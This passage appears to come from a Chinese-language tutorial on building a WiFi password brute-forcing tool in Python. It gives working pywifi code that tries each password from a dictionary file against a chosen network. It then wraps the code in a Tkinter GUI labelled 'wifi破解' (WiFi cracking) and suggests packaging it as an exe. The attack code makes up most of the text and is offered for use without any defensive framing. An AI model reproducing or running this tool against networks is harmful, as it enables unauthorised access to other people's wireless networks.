看下效果
这个代码实现了依据信号强度枚举当前附近的所有 WIFI 名称,并且可供我们自己选择想要破解的WiFi,还可以指定暴力破解的字典,相对而言体验感提升了不少。进一步也可以将上述脚本打包生成 exe 文件,双击运行效果如下:
然后我们来做一个有界面的,基于 Python 的 GUI 图形界面开发库 Tkinter 优化上述脚本,做成一个有好的可视化 WIFI 暴力破解界面工具。这就看起来高大上多了~
先看看简单版的
from tkinter import *
from pywifi import const
import pywifi
import time
主要步骤:
1、获取第一个无线网卡
2、断开所有的wifi
3、读取密码本
4、设置睡眠时间
def wificonnect(str, wifiname):
窗口无线对象
wifi = pywifi.PyWiFi()
抓取第一个无线网卡
ifaces = wifi.interfaces()[0]
断开所有的wifi
ifaces.disconnect()
time.sleep(1)
if ifaces.status() == const.IFACE_DISCONNECTED:
创建wifi连接文件
profile = pywifi.Profile()
profile.ssid = wifiname
wifi的加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
wifi的密码
profile.key = str
网卡的开发
profile.auth = const.AUTH_ALG_OPEN
加密单元,这里需要写点加密单元否则无法连接
profile.cipher = const.CIPHER_TYPE_CCMP
删除所有的wifi文件
ifaces.remove_all_network_profiles()
设置新的连接文件
tep_profile = ifaces.add_network_profile(profile)
连接
ifaces.connect(tep_profile)
time.sleep(3)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
def readPwd():
获取wiif名称
wifiname = entry.get().strip()
path = r’./pwd.txt’
file = open(path, ‘r’)
while True:
try:
读取
mystr = file.readline().strip()
测试连接
bool = wificonnect(mystr, wifiname)
if bool:
text.insert(END, ‘密码正确’ + mystr)
text.see(END)
text.update()
file.close()
break
else:
text.insert(END, ‘密码错误’ + mystr)
text.see(END)
text.update()
except:
continue
创建窗口
root = Tk()
root.title(‘wifi破解’)
root.geometry(‘500x400’)
标签
label = Label(root, text=‘输入要破解的WIFI名称:’)